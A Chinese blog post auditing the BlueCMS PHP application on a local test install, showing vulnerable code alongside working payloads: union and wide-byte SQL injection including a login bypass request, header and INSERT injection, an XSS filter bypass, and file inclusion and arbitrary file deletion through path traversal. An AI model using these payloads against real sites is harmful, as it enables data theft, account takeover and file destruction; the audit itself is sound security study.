bluecmsphp代码审计

news2024/12/21 22:05:00

bluecms代码审计

() 运行环境需求:
可用的 httpd 服务器(如 Apache、Zeus、IIS 等) 
PHP 4.3.0 及以上 
MySQL 4.1 及以上

配置文件审计

看到uploads/install/include/common.inc.php

当然我们可能自己根本不知道那个是重要的文件,可以看到

大多数文件都有这样的代码

/include/common.inc.php

我们看到这个文件的重点

if(!get_magic_quotes_gpc())
{
    $_POST = install_deep_addslashes($_POST);
    $_GET = install_deep_addslashes($_GET);
    $_COOKIES = install_deep_addslashes($_COOKIES);
    $_REQUEST = install_deep_addslashes($_REQUEST);
}

看到deep_addslashes()函数

function deep_addslashes($str)
{
    if(is_array($str))
    {
        foreach($str as $key=>$val)
        {
            $str[$key] = deep_addslashes($val);
        }
    }
    else
    {
        $str = addslashes($str);
    }
    return $str;
}

可以看到做了转义的处理,让sql注入变得困难,不过我们数字型或者宽字节的注入还是可以实现的

而且漏了$_SERVER

sql注入漏洞

/ad_js.php

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
	echo 'Error!';
	exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

可以看到我们的id是可以控制的,而且没有单引号包裹,可以使用我们的联合查询

?ad_id=1 union select 1,2,3,4,5,6,7

回显需要看源码才能看到,自己不想再回去截图了,使用别人的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

证明有漏洞后直接sqlmap了

/admin/nav.php

这个就需要登录到后台了

elseif($act=='edit')
 {
    $sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];
    $nav = $db->getone($sql);
    $smarty->assign('nav',$nav);
    $smarty->assign('act', $act );
    $smarty->display('nav_info.htm');
 }

可以看见也是直接的拼接

还是一样的

/user.php

在登录界面

POST /uploads/user.php?act=index_login HTTP/1.1
Host: bluecms:8907
Content-Length: 44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bluecms:8907
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://bluecms:8907/uploads/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: detail=4; PHPSESSID=qpooug10oc67sav4ckcrrj5uj2
Connection: keep-alive

user_name=ljlljl&pwd=%df') or 1=1#&x=32&y=13

使用宽字节注入就可以成功的使用万能密码登录

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

X-Forwarded-For头注入

在我们的评论页面

image-20240805225243600

对应的代码部分

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
 			VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
 	$db->query($sql);

可以看到还会把我们的IP给放入,看一下getip函数

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ //获取客户端用代理服务器访问时的真实ip 地址
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}

我们可伪造X_FORWARDED_FOR头进行注入

image-20240805225759566

然后我们还可以全局搜索这个getip函数在哪里调用还能找到其他的地方

比如

$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
			VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
    

然后追踪到$online_ip = getip();

INSERT SQL注入

http://bluecms:8907/uploads/user.php?act=reg 我们看到代码部分

$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";

可以看到是有5个数据的,我们先是闭合我们的单引号,然后还需要插入3个数据

然后闭合好了之后,自己再来5个数据

%df',1,1),(1,nn0nkey,md5(123456),(select database()),1,1) #

sql语句就是这样的

"INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '%df',1,1),(88,1223,md5(123456),(select database()),1,1) )";

其他的

其实有很多不可以的地方这里也说一下,首先是我们只能找数字型了,或者报错注入也可以,但是这个代码没有输出报错的信息,一些数字型注入的输入都是被intval函数修饰了的,刚刚的两个都是没有被修饰的

XSS漏洞

ad_js.php

这里也存在我们的xss漏洞,看到源码

echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

最后是会把我们的查询结果输出的,而我们经过尝试,如果出错的结果页面上是这样的

ErrorQuery error:SELECT * FROM blue_ad WHERE ad_id =1 union select 1,2,3,4,5,6

可以看到是把我们的输入部分展示在了页面上,尝试xss

image-20240805180131425

/user.php

act=edit_user_info

这个是我们如果注册了之后登录,就会来到这个代码,他根据我们act参数输入的不同来实现不同的功能

在编辑个人资料界面

image-20240805180615357

对应的代码

$birthday = trim($_POST['birthday']);
	$sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
	$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

可以看见我们的一些输入是没有过滤的,比如邮箱

然后编辑过后会来到

 elseif($act == 'my_info'){
	$sql = "SELECT * FROM ".table('user')." WHERE user_id=".intval($_SESSION['user_id']);
	$user = $db->getone($sql);
	if($user['user_id'] != $_SESSION['user_id']){
		return false;
	}
	template_assign(array('act', 'user', 'bot_nav', 'current_act'), array($act, $user, $bot_nav, '会员个人资料'));
	$smarty->display('user.htm');
 }

会展示我的htm文件造成xssv2-914f3e0908bea65ceead17d53b71ccdc_720w.png

v2-aa796a72d198a44926fc9d935b37d6ab_720w.png

act=do_add_news

image-20240805180941467

代码部分

$image = new upload();
 	$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
 	$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
 	$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
 	if(empty($cid)){
 		showmsg('新闻分类不能为空');
 	}
 	$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
 	$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';
	$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
	$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
 	if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){
		$lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');

可以看到大部分都是过滤了的,但是

评论的内容采用filter_data()函数过滤
追踪filter_data()函数,位于common.fun.php

function filter_data($str)
{
    $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
    return $str;
}

这个绕过的方法很多,

<p><img src=1 onerror=alert(1)></p>

文件包含

elseif ($act == 'pay'){
    include 'data/pay.cache.php';
    $price = $_POST['price'];
    $id = $_POST['id'];
    $name = $_POST['name'];
    if (empty($_POST['pay'])) {
        showmsg('对不起,您没有选择支付方式');
    }
    include 'include/payment/'.$_POST['pay']."/index.php";
 }

这个只能在低版本实现,可以看到是前面和后面都有限制的

可以使用../进行目录遍历,后面的/index.php如果php版本低于5.3.4magic_quotes_gpc=off则可以使用%00截断,导致任意文件包含。

还可以使用.号路径长度截断,Windows下目录最大长度为256字节,Linux下目录最大长度为4096字节

pay=/../../robots.txt........................................................... ................................................................................ ................................................................................ ................................................................................ ................................................................................ ......

任意文件删除

/user.php

首先要清楚删除文件的函数,当然我们一般使用工具就ok了

image-20240805221904724

然后我们看到

elseif($act == 'edit_user_info'){
	 $user_id = intval($_SESSION['user_id']);
	 if(empty($user_id)){
		 return false;
	 }
	$birthday = trim($_POST['birthday']);
	$sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
	$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

	if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
			@unlink(BLUE_ROOT.$_POST['face_pic3']);
		}
	}

重点是最后一段,如果我们的face_pic1和face_pic2不存在的话,就去判断文件里面是否有face_pic3,如果有就删除,没有任何限制的

还可以目录穿越,是在我们修改用户信息的界面,bp抓个包,我删除了无关的部分image-20240805222233218

只需要传入我们想要删除的文件就好了

然后还有一个比较简单的

elseif($act == 'del_pic'){
   $id = $_REQUEST['id'];
   $db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
   if(file_exists(BLUE_ROOT.$id)){
      @unlink(BLUE_ROOT.$id);
   }
 }

重点是最后一段,如果我们的face_pic1和face_pic2不存在的话,就去判断文件里面是否有face_pic3,如果有就删除,没有任何限制的

还可以目录穿越,是在我们修改用户信息的界面,bp抓个包,我删除了无关的部分[外链图片转存中…(img-BhB59qi7-1723698503189)]

只需要传入我们想要删除的文件就好了

然后还有一个比较简单的

elseif($act == 'del_pic'){
   $id = $_REQUEST['id'];
   $db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
   if(file_exists(BLUE_ROOT.$id)){
      @unlink(BLUE_ROOT.$id);
   }
 }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2041635.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从送外卖到自学编程,再到AI绘画,我的副业之路助我一年还清房贷车贷

一、引言 在这个快速变化的时代&#xff0c;每个人都有可能通过自己的努力改变命运。我&#xff0c;一个普通的外卖员&#xff0c;通过自学编程&#xff0c;最终掌握了AI绘画技能&#xff0c;实现了下班后赚取额外收入&#xff0c;一年内还清了房贷和车贷。以下是我的故事&…

力扣题/二叉树/路径总和 III

路径总和 III 力扣原题 给定一个二叉树的根节点 root &#xff0c;和一个整数 targetSum &#xff0c;求该二叉树里节点值之和等于 targetSum 的 路径 的数目。路径 不需要从根节点开始&#xff0c;也不需要在叶子节点结束&#xff0c;但是路径方向必须是向下的&#xff08;只能…

Nios II的BSP Editor

1.菜单打开BSP Editor &#xff08;1&#xff09; &#xff08;2&#xff09; &#xff08;3&#xff09; 项目文件夹 -> software文件夹 -> ... _bsp文件夹 -> settings.bsp文件 2.文件打开BSP Editor 选中项目文件&#xff0c;右键&#xff0c;Nios II -> …

【区块链+食品安全】海南省市场监管局:进口冷链食品可信追溯平台 | FISCO BCOS应用案例

2020 年 10 月&#xff0c;海南省市场监管局联合腾讯基于 FISCO BCOS 区块链底层技术建设“海南省进口冷链食品可信追 溯平台”( 简称“海南冷链”)&#xff0c;在全国范围内首批实现了与市场监管总局数据对接。平台以冷 ( 冻 ) 库为抓手&#xff0c;从 进口冷链食品进入海南省…

Vatee万腾平台:数据驱动的决策新引擎

在数字化时代&#xff0c;数据已成为企业决策的核心驱动力。Vatee万腾平台&#xff0c;凭借其卓越的数据处理与分析能力&#xff0c;正逐步成为企业数据驱动的决策新引擎&#xff0c;引领着企业向更加精准、高效的决策模式迈进。 Vatee万腾平台深刻理解到&#xff0c;在数据爆炸…

爬虫:写了一个解析拖动滑块进行登录校验的伪代码

完成滑动拼图验证码是一个更复杂的任务&#xff0c;因为它通常涉及准确地将滑块拖动到正确的位置以匹配拼图缺口的位置。要实现这一点&#xff0c;通常需要进行以下步骤&#xff1a; 识别拼图缺口的位置。计算滑块的拖动距离。模拟人类行为完成拖动。 由于 Playwright 本身没…

Doxygen程序注释文档制作教程

Doxygen教程 Doxygen软件下载安装Doxygen软件的使用Doxygen Comments扩展参考文献Doxygen软件下载安装 首先,在官网下载windows环境下的doxygen,网址: Doxygen: Downloads 找到对应安装包点击下载 下载完成后傻瓜式一步一步安装就可以了。安装完成后在开始栏点击Doxywizar…

ptrade排坑笔记——量化界面一直无法正常访问!

前言 今天和大家分享的一个问题是量化界面相关的&#xff0c;量化界面打不开的一个问题&#xff0c;具体界面如图&#xff01; 一、问题描述 问题很简单&#xff0c;就是客户的量化交易界面无法打开&#xff0c;问题简单但是关系很大&#xff0c;量化策略的研究、回测都是在…

教你如何在同一台手机上同时登录两个微信

我们先手机应用中点开设置 里面找到应用公设置 在里面点击应用双开 或者 应用分身 手机不同会有所不同 然后 我们将微信的这个开关打开 这样 手机上就能同时使用两个微信啦

安防监控视频平台视图服务系统视频监控汇聚平台图库使用说明

视图汇聚共享网关是一款软硬件一体化的设备&#xff0c;支持多种协议的IPC/NVR/DVR视图数据接入&#xff0c;包括ONVIF、GB/T 28181、RTSP、1400、FTP以及海康、大华的私有协议。该设备还通过GB/T 28181、1400、FTP等协议共享视图数据&#xff0c;具备广泛的接入范围和开放共享…

【leetcode图文详解】特殊数组II : 空间换时间的“记忆化”,越多越好吗?

题目详解 需求&#xff1a;判断给定区间内的元素是否满足“特殊数组”要求 尝试: 暴力求解? 如果试着直接对每个queries中的区间进行检测而不做其他处理&#xff0c;那么最后不出意外地超时了。。 细想优化策略&#xff0c;不难察觉到其中可能存在大量的重复运算 那还等什…

Python Word文档安全 - 设置和解除Word文档保护

目录 使用工具 Python 给 Word 文档设置密码保护 Python 限制 Word 文档的编辑 Python 保护 Word 文档的同时留出可编辑区域 Python 解除 Word 文档的密码保护 Python 解除 Word 文档的编辑限制 在日常工作和学习中&#xff0c;我们经常需要使用Word文档来记录和分享重要…

【附源码】Python :圆锥建模

系列文章目录 Python 建模入门&#xff1a;圆锥建模 文章目录 系列文章目录一、建模需求二、源代码三、代码分析四、效果展示总结 一、建模需求 使用matplotlib库和mpl_toolkits.mplot3d模块来绘制一个带有坐标轴的圆锥体的3D图形 二、源代码 代码如下&#xff1a; import ma…

检验流程的信息化系统——LIS

LIS系统源码&#xff0c;C#LIS系统源码&#xff0c;自主版权医院应用案例 医院检验系统的发展历程 医院检验系统的发展经历了多个阶段&#xff0c;从最初的简单手工操作到自动化仪器应用&#xff0c;再到数字化信息管理系统的建立&#xff0c;逐渐实现了检验流程的信息化、智…

JAVA实现GB/T 32960.3—2016电动汽车远程服务与管理系统技术规范 第3部分:通信协议及数据格式

完整的TCP服务端解析代码 1.maven依赖 不要的依赖自行删除&#xff0c;懒的删了 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-in…

C语言实现数据结构之队列

目录 队列一. 队列的概念及结构二. 队列的实现1. 要实现的功能2 具体的实现2.1 结构体2.2 初始化2.3 入队列2.4 出队列2.5 返回队首元素2.6 返回队尾元素2.7 队列元素个数2.8 队列判空2.9 队列销毁 三. 队列相关OJ题设计循环队列用队列实现栈用栈实现队列 四. 概念选择题五. 参…

WordPress公众号扫码登录/注册

目录 一、扫码过程概述 1.扫码进入公众号 2.输入关键字 3.输入验证码 4.登录验证 5.后续操作 6.基础要求 二、插件安装 三、公众号设置 五、登录页码制作 六、扫码登录测试 WordPress建设的网址,是支持用户注册的,不过不如使用“微信扫码”登录来的简单。不过要想…

IO

目录 一、IO流基本认识 1.1 字节流 1.2 字符流 1.3 高级流 二、IO流基本理解 2.1 IO流的分类 2.1.1 按照流的流向 2.1.2 按照处理数据单位 2.1.3 按照流的角色 2.2 IO流的选择 2.3 IO流的4个抽象基类 2.4 字节流和字符流的区别 2.4.1 使用场景 三、IO模型 3.1 BI…

Leetcode JAVA刷刷站(10)正则表达式匹配

一、题目概述 二、思路方向 在Java中&#xff0c;实现一个支持.和*的正则表达式匹配器&#xff0c;可以通过递归或动态规划&#xff08;DP&#xff09;的方法来完成。这里&#xff0c;我将使用动态规划的方法来解决这个问题&#xff0c;因为它更容易理解和实现。 动态规划的思…

代码随想录算法训练营43期 | Day 13 —— 二叉树part01

代码随想录算法训练营 二叉树理论基础二叉树的种类1. 满二叉树2. 完全二叉数3. 二叉搜索树3. 平衡二叉搜索树 二叉树的存储方式二叉树遍历方式二叉树的定义 二叉树的递归遍历144.前序遍历145.后序遍历94.中序遍历 二叉树迭代遍历前序遍历&#xff08;迭代法&#xff09;后序遍历…